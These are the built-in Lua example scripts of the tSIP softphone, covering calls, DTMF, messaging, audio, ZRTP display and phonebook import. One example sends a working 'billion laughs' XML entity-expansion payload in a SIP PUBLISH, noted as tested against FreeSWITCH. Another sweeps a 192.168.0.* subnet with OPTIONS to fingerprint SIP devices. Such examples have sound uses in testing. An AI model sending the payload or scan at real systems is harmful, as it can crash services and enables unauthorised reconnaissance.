tSIP - built-in Lua examples

Generated by tSIP 0.03.14.05, built Sep 9 2026, 20:11:46 (with video support)

These examples are built into the tSIP executable - they are also available from the Script window's Help -> Examples menu.

Lua basics / cheatsheet

-- Lua introduction / cheatsheet

-- This is single-line comment
--[[
   This is multi-line
   comment.
--]]

-- Undefined variables return nil (not generating error)
local str = 'text'    -- Variable declaration/definition; global by default
str = nil       -- Undefines "str" variable; Lua uses garbage collector

-- Note: print output goes to log
print("\n\n##### Starting script #####\n\n")

-- Conditionals
local num = 5
if num > 6 then
    print('num is larger than 6\n')   -- print output goes to softphone log window
elseif num == 23 then               -- equality operator: ==
    print('num equals 23\n')       -- also -> softphone log window
else
	-- local variable
    local messageText = string.format("Num value = %d\n", num);
    print(messageText)
end

if 0 then
    print("Only nil and false values are interpreted as false condition\n")
end

-- Multi-line comments can be used as C's "#if 0"
-- Remove one '-' from line below to disable this block
---[[
	print("Block of code - enabled\n")
--]]

-- Loops

while num < 10 do
	print("Incrementing num\n")
	num = num + 1  -- No ++/-- or += type (shorthand) operators.
end

local sum = 0
for i = 1, num do  -- Range includes both ends.
	sum = sum + i
end
print(string.format("Sum of numbers from 1 to %d: %d\n", num, sum))

for j = 3, 1, -1 do
	-- ".." = concatenation operator
	print("Counting down: " .. j .. "\n")
end

repeat
	num = num - 1
until num == 0

-- Tables are indexed by default by integers (starting from 1)
local myTable = {'first value', 'second value', 3, 4.76}
print 'myTable values: '
for i = 1, #myTable do  -- #myTable = table size
	if i ~= 1 then
		print ', '
	end
	print (myTable[i])
end
print '\n'


print("\n\n##### End of script #####\n\n")

Beep

-- ShowMessage("Press \"Break\" to stop")
local pattern =
{
-- frequency, time
{392 	,350},
{392 	,350},
{392 	,350},
{311 	,250},
{466 	,250},
{392 	,350},
{311 	,250},
{466 	,250},
{392 	,700},
{587 ,350},
{587 ,350},
{587 ,350},
{622 ,250},
{466 	,250},
{369 ,350},
{311 	,250},
{466 	,250},
{392 	,700},
{784 	,350},
{392 	,250},
{392 	,250},
{784 	,350},
{739 ,250},
{698 ,250},
{659 ,250},
{622 ,250},
{659 ,500},
{0, 300},
{415 	,250},
{0,100},
{554 ,350},
{523 ,250},
{493 ,250},
{466 ,250},
{440 	,250},
{466 ,500},
{0,300},
{311 ,250},
{0,100},
{369 ,350},
{311 ,250},
{392 	,250},
{466 ,350},
{392 	,250},
{466 ,250},
{587 ,700},
{784 	,350},
{392 	,250},
{392 	,250},
{784 	,350},
{739 ,250},
{698 ,250},
{659 ,250},
{622 ,250},
{659 ,500},
{0,300},
{415 	,250},
{0,100},
{554 ,350},
{523 ,250},
{493 ,250},
{466 ,250},
{440 	,250},
{466 ,500},
{0,300},
{311 ,250},
{0,200},
{392 	,250},
{311 ,250},
{466 ,250},
{392 ,300},
{0,500},
{311 ,250},

}

local winapi = require("tsip_winapi")

for i = 1, #pattern do
	winapi.Beep(pattern[i][1], pattern[i][2])
	local ret = CheckBreak()
	Sleep(100)	-- process Win messages also
	-- break on user request\n"
	if ret ~= 0 then
		print ('User break\n')
		break
	end
end

Calling: loop

-- calling specified number in the loop
print(string.format("Running %s on %s\n", _VERSION, os.date()))
-- seed random number generator
math.randomseed(os.time())
-- clear digits already in Dial edit to be sure
for i = 1, 10 do
	Call("2007")
	Sleep(2000)
	Hangup()
	-- random pause between the calls: 2000...5000 ms
	Sleep(math.random(2000, 5000))
	local ret = CheckBreak()
	-- break on user request
	if ret ~= 0 then
		print ('User break\n')
		break
	end
end
print("Done\n");

Calling numbers from list

-- calling numbers from the list
local numbers = {
	'1000',
	'1001',
	'1002'
}
for i = 1, #numbers do
	Call(numbers[i])
	Sleep(4000)
	Hangup()
	Sleep(1000)
	local ret = CheckBreak()
	-- break on user request
	if ret ~= 0 then
		print ('User break\n')
		break
	end
end

Call + DTMFs

-- calling and sending DTMFs
print(string.format("Running %s on %s\n", _VERSION, os.date()))
Call("2000")
Sleep(5000)
-- hoping that 2nd party would answer the call in meantime
SendDtmf("012345678*#")
-- pause to let digits get out of the queues safely
Sleep(3000)
Hangup()
print("Done\n");

Call to specified number (conference room) and enter code

-- user config
local number = "123456789"
local dtmf = "1234"
-- end of user config
 
Call(number)
for i=1, 20, 1
do
	if (i == 20) then
		print("Timed out waiting for confirmed state\n")
		break;
	end
 
	Sleep(300)
	local call_state = GetCallState()
	if call_state == 6 then
		-- CALL_STATE_ESTABLISHED
		Sleep(2000)
		SendDtmf(dtmf)
		break
	elseif call_state == 0 then
		-- CALL_STATE_CLOSED
		print("End of call\n")
		break;
	end
end
print("End of script\n")

Count number of times script was executed

-- This script counts number of times it was executed
local count, var_isset = GetVariable("runcount")
if (var_isset == 0) then
	count = 0
else
	count = tonumber(count)
end

count = count + 1
SetVariable("runcount", count)
print(string.format("Script executed %d time(s)\n", count))

PlaySound

-- Playing sound asynchronously
-- note: more powerful (sound device selection) option is using sox tool + ShellExecute
-- (http://tomeko.net/software/SIPclient/howto/sox.php, http://tomeko.net/software/SIPclient/howto/local_dtmfs.php)

local winapi = require("tsip_winapi")

-- let's use path relative to exe location
local filename = GetExeName()
local index = string.find(filename:reverse(), "\\")
local dir = string.sub(filename, 1, -index)
local audio_file = dir .. "pluck.wav"

-- PlaySound is identical to WinAPI function with same name
local SND_FILENAME = tonumber(0x00020000)
local SND_ASYNC = tonumber(0x0001)
winapi.PlaySound(audio_file, 0, SND_FILENAME | SND_ASYNC)

Determining event type/id that triggered script

-- Determining event type and id (e.g. button id) that triggered script
-- see: enum ScriptSource
local execSourceType = GetExecSourceType()
print("Source: ")
if execSourceType == 0 then
	print("button")
elseif execSourceType == 1 then
	print("making call")
elseif execSourceType == 2 then
	print("call state change")
elseif execSourceType == 3 then
	print("streaming state")
elseif execSourceType == 4 then
	print("registration state")
elseif execSourceType == 5 then
	print("startup")
elseif execSourceType == 6 then
	print("timer")
elseif execSourceType == 7 then
	print("dialog info (BLF)")
elseif execSourceType == 8 then
	print("dialing")
elseif execSourceType == 9 then
	print("script window")
elseif execSourceType == 10 then
	print("audio error (e.g. end of wav file)")
elseif execSourceType == 11 then
	print("plugin")
elseif execSourceType == 12 then
	print("custom request status/reply")
elseif execSourceType == 13 then
	print("on contact note open")
elseif execSourceType == 14 then
	print("on recorder state")
elseif execSourceType == 15 then
	print("command line")
elseif execSourceType == 16 then
	print("button mouse up/down")
elseif execSourceType == 17 then
	print("encryption state")
elseif execSourceType == 18 then
	print("hotkey")
elseif execSourceType == 19 then
	print("SIP SIMPLE message (RX)")
else
	print(string.format("type = %d, missing description", execSourceType))
end
local execSourceId = GetExecSourceId()
print(string.format(", ID = %d\n", execSourceId))

Determining current call state

-- Determining call state
-- see: enum Callback::ua_state_e
local callState = GetCallState()
print("Call state: ")
if callState == 0 then
	print("CLOSED")
elseif callState == 1 then
	print("INCOMING")
elseif callState == 2 then
	print("OUTGOING")
elseif callState == 3 then
	print("TRYING")
elseif callState == 4 then
	print("RINGING")
elseif callState == 5 then
	print("PROGRESS")
elseif callState == 6 then
	print("ESTABLISHED")
elseif callState == 7 then
	print("TRANSFER")
elseif callState == 8 then
	print("TRANSFER_OOD")
else
	print(string.format("type = %d, missing description", callState))
end
local execSourceId = GetExecSourceId()
print(string.format(", numeric value = %d\n", callState))

print("Helper functions:\n")
print(string.format("    GetCallStateName(): %s\n", GetCallStateName(callState)));
print(string.format("    GetCallStateDescription(): %s\n", GetCallStateDescription(callState)));
print(string.format("    GetCallStateTranslatedName(): %s\n", GetCallStateTranslatedName(callState)));
print(string.format("    GetCallStateTranslatedDescription(): %s\n", GetCallStateTranslatedDescription(callState)));

Send custom SIP request to single target

function string.starts(String, Start)
   return string.sub(String,1,string.len(Start))==Start
end

function trim(s)
  return (s:gsub("^%s*(.-)%s*$", "%1"))
end

local target = "sip:208@192.168.1.211"
local requestUid = SendCustomRequest(target, "OPTIONS", "Accept: application/sdp\r\nContent-Length: 0\r\n\r\n")
if requestUid <= 0 then
	print(string.format("Error sending custom request to %s\n", target))
	return
end


for i=1,20 do
	local ret = CheckBreak()
	if ret ~= 0 then
		print("User break\n")
		break
	end
	Sleep(400)


	local haveReply, err, sipStatusCode = GetCustomRequestReply(requestUid)
	if haveReply ~= 0 then
		local uri = GetCustomRequest(requestUid)
		if err == 0 then
			local replyText = GetCustomRequestReplyText(requestUid)
			-- print(string.format("Reply text:\n%s\n", replyText))
			print(string.format("**** URI %s => SIP status %d\n", uri, sipStatusCode))
			local needle = "USER-AGENT:"
			local needle2 = "SERVER:"
			for line in replyText:gmatch"[^\n]+" do	-- extract each line
				local uline = string.upper(line)
				if string.starts(uline, needle) then
					local lineVal = trim(line:sub(string.len(needle)+1))
					print(string.format("    **** URI %s => User-Agent value: %s\n", uri, lineVal))
					break
				elseif string.starts(uline, needle2) then
					lineVal = trim(line:sub(string.len(needle2)+1))
					print(string.format("    **** URI %s => Server value: %s\n", uri, lineVal))
					break
				end
			end
		else
			-- print(string.format("**** URI %s => err = %d\n", uri, err))
		end

		DeleteCustomRequest(requestUid)
		break
	end
end


ClearCustomRequests()

Send PUBLISH with "billion laughs" body

-- sending PUBLISH with "billion laughs" XML body
-- tested against FreeSWITCH 1.10.13-dev
local target = "sip:192.168.0.16"

local body =
	"<xml><!DOCTYPE Response [<!ENTITY lol \"haha\">" ..
	"<!ENTITY l1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">" ..
	"<!ENTITY l2 \"&l1;&l1;&l1;&l1;&l1;&l1;&l1;&l1;&l1;&l1;\">" ..
	"<!ENTITY l3 \"&l2;&l2;&l2;&l2;&l2;&l2;&l2;&l2;&l2;&l2;\">" ..
	"<!ENTITY l4 \"&l3;&l3;&l3;&l3;&l3;&l3;&l3;&l3;&l3;&l3;\">" ..
	"<!ENTITY l5 \"&l4;&l4;&l4;&l4;&l4;&l4;&l4;&l4;&l4;&l4;\">" ..
	"<!ENTITY l6 \"&l5;&l5;&l5;&l5;&l5;&l5;&l5;&l5;&l5;&l5;\">" ..
	"<!ENTITY l7 \"&l6;&l6;&l6;&l6;&l6;&l6;&l6;&l6;&l6;&l6;\">" ..
	"<!ENTITY l8 \"&l7;&l7;&l7;&l7;&l7;&l7;&l7;&l7;&l7;&l7;\">" ..
	"<!ENTITY l9 \"&l8;&l8;&l8;&l8;&l8;&l8;&l8;&l8;&l8;&l8;\">" ..
	"<!ENTITY l10 \"&l9;&l9;&l9;&l9;&l9;&l9;&l9;&l9;&l9;&l9;\">" ..
	"]><Response><Say>&l10;</Say></Response></xml>"

local requestUid = SendCustomRequest(target, "PUBLISH",
	"Event: presence\r\nContent-Type: application/pidf+xml\r\nContent-Length: " .. string.len(body) .. "\r\n\r\n" ..
	body
	)
if requestUid <= 0 then
	print(string.format("Error sending custom request to %s\n", target))
	return
end

Send PUBLISH with note

local target = "sip:148@192.168.1.148:6080"

local body = [[
<?xml version="1.0" encoding="UTF-8"?>
<presence xmlns="urn:ietf:params:xml:ns:pidf"
          entity="sip:alice@example.com">
  <tuple id="t1">
    <status>
      <basic>open</basic>
    </status>
    <note>note test text 123</note>
  </tuple>
</presence>
]]

local requestUid = SendCustomRequest(target, "PUBLISH",
	"Event: presence\r\nContent-Type: application/pidf+xml\r\nContent-Length: " .. string.len(body) .. "\r\n\r\n" ..
	body
	)
if requestUid <= 0 then
	print(string.format("Error sending custom request to %s\n", target))
	return
end

Scan local network (192.168.0.*:5060) with OPTIONS

function string.starts(String, Start)
   return string.sub(String,1,string.len(Start))==Start
end

function trim(s)
  return (s:gsub("^%s*(.-)%s*$", "%1"))
end


local requestUidTable = {}

-- note: command/callback queues are limited to 1024 elements each (v0.1.68.5)
local targetStart = "sip:192.168.0."
local port = ":5060"
for i=1,254 do
	local target = targetStart .. i .. port
	local requestUid = SendCustomRequest(target, "OPTIONS", "Accept: application/sdp\r\nContent-Length: 0\r\n\r\n")
	if requestUid > 0 then
		table.insert(requestUidTable, requestUid)
	else
		print(string.format("Error sending custom request to %s\n", target))
	end
	Sleep(10)
	ret = CheckBreak()
	if ret ~= 0 then
		break
	end
end


for i=1,100 do
	ret = CheckBreak()
	if ret ~= 0 then
		print("User break\n")
		break
	end
	Sleep(400)

	local n = #requestUidTable
	if n == 0 then
		break
	end

	for index, requestUid in ipairs(requestUidTable) do
		local haveReply, err, sipStatusCode = GetCustomRequestReply(requestUid)
		if haveReply ~= 0 then
			local uri = GetCustomRequest(requestUid)
			if err == 0 then
				local replyText = GetCustomRequestReplyText(requestUid)
				-- print(string.format("Reply text:\n%s\n", replyText))
				print(string.format("**** URI %s => SIP status %d\n", uri, sipStatusCode))
				local needle = "USER-AGENT:"
				local needle2 = "SERVER:"
				for line in replyText:gmatch"[^\n]+" do	-- extract each line
					local uline = string.upper(line)
					if string.starts(uline, needle) then
						lineVal = trim(line:sub(string.len(needle)+1))
						print(string.format("    **** URI %s => User-Agent value: %s\n", uri, lineVal))
						break
					elseif string.starts(uline, needle2) then
						lineVal = trim(line:sub(string.len(needle2)+1))
						print(string.format("    **** URI %s => Server value: %s\n", uri, lineVal))
						break
					end
				end
			else
				-- print(string.format("**** URI %s => err = %d\n", uri, err))
			end

			DeleteCustomRequest(requestUid)
			requestUidTable[index] = nil

		end
	end

	-- traverse array again, compacting it
	local j=0
	for i2 = 1, n do
			if requestUidTable[i2]~=nil then
					j=j+1
					requestUidTable[j]=requestUidTable[i2]
			end
	end
	for i2 = j+1, n do
			requestUidTable[i2]=nil
	end
end


ClearCustomRequests()

Lenny

local audioErrCnt = GetAudioErrorCount()
local avgAudioLevel = 0

function UpdateAvgAudioLevel()	-- part of the VAD
	local signalLevel = GetAudioRxSignalLevel()
	local coeff = 0.95
	avgAudioLevel = avgAudioLevel * coeff + signalLevel * (1-coeff)
end

function WaitForEndOfWavFile()
	while true do
		local cb = CheckBreak();
		if cb ~= 0 then
			print ('User break\n')
			return false
		end
		local callState = GetCallState()
		if callState == 0 then
			return false
		end
		local errCnt = GetAudioErrorCount()
		-- print(string.format("WaitForEndOfWavFile: errCnt = %u\n", errCnt))
		if errCnt ~= audioErrCnt then
			audioErrCnt = errCnt
			return true;
		end
		UpdateAvgAudioLevel()
		Sleep(50)
	end
end

function WaitForVoice()
	local levelCnt = 0
	for i=1, 500, 1 do
		local cb = CheckBreak();
		if cb ~= 0 then
			print ('User break\n')
			return false
		end
		local callState = GetCallState()
		if callState == 0 then
			return false
		end
		local signalLevel = GetAudioRxSignalLevel()
		-- print(string.format("WaitForVoice: signalLevel = %d, levelCnt = %d\n", signalLevel, levelCnt))
		if signalLevel > 500 then
			if signalLevel > 4000 or signalLevel > avgAudioLevel * 5 or avgAudioLevel > signalLevel * 5 then
				levelCnt = levelCnt + 1
				if levelCnt > 20 then
					return true
				end
			end
		end
		UpdateAvgAudioLevel()
		Sleep(50)
	end
	return false
end

function WaitForSilence()
	local i
	local levelCnt = 0
	for i=1, 2000, 1 do
		local cb = CheckBreak();
		if cb ~= 0 then
			print ('User break\n')
			return false
		end
		local callState = GetCallState()
		if callState == 0 then
			return false
		end
		local signalLevel = GetAudioRxSignalLevel()
		-- print(string.format("WaitForSilence: signalLevel = %d, levelCnt = %d\n", signalLevel, levelCnt))
		if signalLevel < 500 or (signalLevel < 3000 and signalLevel < avgAudioLevel * 1.25 and avgAudioLevel < signalLevel * 1.25) then
			levelCnt = levelCnt + 1
			if levelCnt > 30 then
				return true
			end
		else
			levelCnt = 0
		end
		UpdateAvgAudioLevel()
		Sleep(50)
	end
	return false
end

local jsonString = [[
{
   "Calls" : {
      "DisconnectCallOnAudioError" : false
   }
}
]]
UpdateSettings(jsonString)	-- making sure call would not be disconnected at the end of wav file

print("Lenny: anwering...\n")
Answer()

SwitchAudioSource("nullaudio", "")
Sleep(1500)

local callState = GetCallState()
if callState ~= 6 then -- ESTABLISHED
	print(string.format("Lenny: Unexpected: callState = %d\n", callState))
	Hangup()
	return
end

--[[
-- single-cycle, disconnecting after last announcement; use "---" above to enable, "--" to disable code block
for i=1, 15 do
	local name = string.format("Lenny%d.wav", i)
	SwitchAudioSource("aufile", name)
	WaitForEndOfWavFile()
	WaitForVoice();
	WaitForSilence();
	local cb = CheckBreak();
	if cb ~= 0 then
		print ('User break\n')
		Hangup()
		return
	end
end

SwitchAudioSource("aufile", "Lenny16-rickroll.wav")
WaitForEndOfWavFile()

Hangup()
--]]


---[[
-- looped 10 times; use "---" above to enable, "--" to disable code block
local name = string.format("Lenny1.wav")
SwitchAudioSource("aufile", name)
WaitForEndOfWavFile()
WaitForVoice();
WaitForSilence();

for j=1, 10 do
	for i=2, 16 do
		local name = string.format("Lenny%d.wav", i)
		SwitchAudioSource("aufile", name)
		WaitForEndOfWavFile()
		WaitForVoice();
		WaitForSilence();
		local cb = CheckBreak();
		if cb ~= 0 then
			break
		end
	end
	local cb = CheckBreak();
	if cb ~= 0 then
		print ('User break\n')
		break
	end
	callState = GetCallState()
	if callState ~= 6 then -- ESTABLISHED
		print("Lenny: end of call\n")
		break
	end
end
Hangup()
--]]

Send text messages (SIP SIMPLE, instant messanging)

local target = "209"	-- can use full SIP URI also
for i = 1, 10 do
	local text = string.format("softphone message #%d", i)
	SendTextMessage(target, text, 1)
	-- random pause between messages: 200...2000 ms
	Sleep(math.random(200, 2000))
	local ret = CheckBreak()
	-- break on user request
	if ret ~= 0 then
		print ('User break\n')
		break
	end
end
print("Done\n");

Fetch and load XML phonebook with curl

-- BASIC SETTINGS BLOCK
	-- where is XML phonebook placed on the server?
	local server_path = "http://tomeko.net/software/SIPclient/howto/phonebook.xml?token=ABCDEFGH"
	-- how to authorize to server (optional, may be empty)
	local server_auth = "--insecure --anyauth --user admin:password"
-- END OF BASIC SETTINGS BLOCK

--[[
	Note: expected XML structure:
	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
	<YealinkIPPhoneDirectory xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<DirectoryEntry>
			<Name>abcdef ghijk</Name>
			<Telephone>123456789</Telephone>
		</DirectoryEntry>
		... other entries ...
	</YealinkIPPhoneDirectory>
	
	xxxIPPhoneDirectory node name is not important.
	Up to 3 telephone numbers per directory entry are accepted.
--]]

function file_exists(name)
   local f=io.open(name,"r")
   if f~=nil then io.close(f) return true else return false end
end

-- let's use paths relative to exe location
local filename = GetExeName()
local index = string.find(filename:reverse(), "\\")
local dir = string.sub(filename, 1, -index)
local curl_exe = dir .. "curl.exe"
local xml_file = dir .. "phonebook.xml"

if file_exists(curl_exe) == false then
	ShowMessage("This script requires curl.exe placed next to application executable")
	return
end

-- remove file from previous run before trying to download new one
os.remove(xml_file)

local args = " -o " .. xml_file .. " " .. server_path .. " " .. server_auth
print(string.format("curl args: [%s]\n", args))
local ret = ShellExecute("open", curl_exe, args, nil, 0)
print(string.format("curl ShellExecute return code: %d\n", ret))
-- wait up to 5 seconds for download
for i = 1, 10 do  -- Range includes both ends.
	if file_exists(xml_file) then
		break
	end
	if i == 10 then
		ShowMessage("Failed to download XML phonebook\n")
		print("Failed to download XML phonebook\n")
		return
	end
	Sleep(500)
end

-- MessageBox with MB_YESNO and question icon
local res = MessageBox("Are you sure to overwrite current phonebook?\r\nCurrent contact entries would be lost.",
	"Overwrite phonebook?", 4+32)
if res ~= 6 then
	return
end

local status = ReadXmlContacts(xml_file)
if status == 0 then
	print(string.format("Error %d reading XML contacts\n", status))
else
	print("XML contacts imported\n")
end

Display ZRTP encryption state

-- "on encryption state" script,
-- displaying ZRTP/SAS state on buttons

local btn1Id = 15	-- set this button configuration to 2 lines
local btn2Id = 16
-- end of settings

local sessionId, zrtpActive, zrtpSas, zrtpCipher, zrtpSasVerified = GetZrtpState()

print(string.format("Lua: ZRTP sessionId = %d, active = %d, SAS = %s, cipher = %s, verified = %d\n",
	sessionId, zrtpActive, zrtpSas, zrtpCipher, zrtpSasVerified))

local line1 = "ZRTP not active"
local line2 = ""
local line3 = ""

if zrtpActive == 1 then
	line1 = string.format("ZRTP SAS: %s", zrtpSas)
	if zrtpSasVerified == 1 then
		line2 = "VERIFIED"
		SetButtonImage(btn1Id, "lock_green.bmp")
	else
		line2 = "NOT verified"
		SetButtonImage(btn1Id, "lock_yellow.bmp")
	end
	line3 = zrtpCipher
else
	SetButtonImage(btn1Id, "empty.bmp")
end

SetButtonCaption(btn1Id, line1)
SetButtonCaption2(btn1Id, line2)
SetButtonCaption(btn2Id, line3)

Generate tones

for i=1, 10 do
	if CheckBreak() ~= 0 then
		break;
	end
	-- takes up to 4 pairs of amplitude + frequency
	GenerateTones(0.1, i * 300)
	Sleep(1000)
end
GenerateTones()

List current calls in log window

local uids = GetCalls()
print(string.format("Currently: %d call(s)\n", #uids))
if #uids == 0 then
	return
end

for i = 1, #uids do
	local uid = uids[i]
	print(string.format("  Call UID = %d, state = %d, incoming = %d, peer = %s, codec = %s\n",
		uid, GetCallState(uid), IsCallIncoming(uid), GetCallPeer(uid), GetCallCodecName(uid)))
end

print("End of calls list\n")

Switch periodically audio source between radio stations

-- switch periodically audio source between few radio stations from the list

if (CheckSoftphoneVideoSupport() == false) then
	ShowMessage("This script requires softphone version with built-in video support!")
	return
end

local stations = {
	"http://stream3.polskieradio.pl:8950/",	-- PR1
	"http://mp3.polskieradio.pl:8902/",		-- PR2
	"http://mp3.polskieradio.pl:8904",		-- PR3
	"http://live.r357.eu",
	"http://stream4.nadaje.com:15476/radiobialystok",
	"http://streamplus20.leonex.de:16010",
	"http://stream.rockantenne.de/gothic/stream/mp3?aw_0_1st.playerid=radio.de"
}

while true do
	for i = 1, #stations do
		print(string.format("Switching audio source to %s\n", stations[i]))
		SwitchAudioSource("avformat", stations[i])
		if SleepWithCheckBreak(20000) ~= 0 then
			return
		end
	end
end

Handle incoming SIP SIMPLE message (RX)

-- "on SIP SIMPLE message (RX)" script
-- assign this script in Settings -> Scripts -> "on SIP SIMPLE message (RX)"
-- to run it whenever an incoming SIP SIMPLE MESSAGE (instant message) arrives

local from = GetSimpleMessageFrom()
local body = GetSimpleMessageBody()
local contentType = GetSimpleMessageContentType()

print(string.format("Incoming SIMPLE MESSAGE from %s (%s): %s\n", from, contentType, body))

-- Example: auto-reply to a specific sender instead of showing the default
-- incoming message popup window
if string.find(from, "200@") then
	SendTextMessage(from, "Auto-reply: I am currently away.", 1)

	-- SetHandled(1) tells softphone that this script has already taken care of
	-- the event, so the default action (opening/showing the incoming
	-- message popup window) is skipped.
	-- Call SetHandled(0), or don't call it at all, to let the default
	-- popup window still appear as usual.
	SetHandled(1)
end

Send SIP INFO with hook flash

-- Send SIP INFO with the "application/hook-flash" content type.
-- Some gateways instead expect application/dtmf-relay with body "Signal=hookflash".

local callUid = GetCurrentCallUid()
if callUid == 0 then
	print("No current call\n")
	return
end

local requestUid = SendCustomCallRequest(callUid, "INFO", "Content-Type: application/hook-flash\r\nContent-Length: 0\r\n\r\n")
if requestUid <= 0 then
	print("Error sending INFO (hook flash)\n")
	return
end

print(string.format("Sent SIP INFO (hook flash), requestUid = %d\n", requestUid))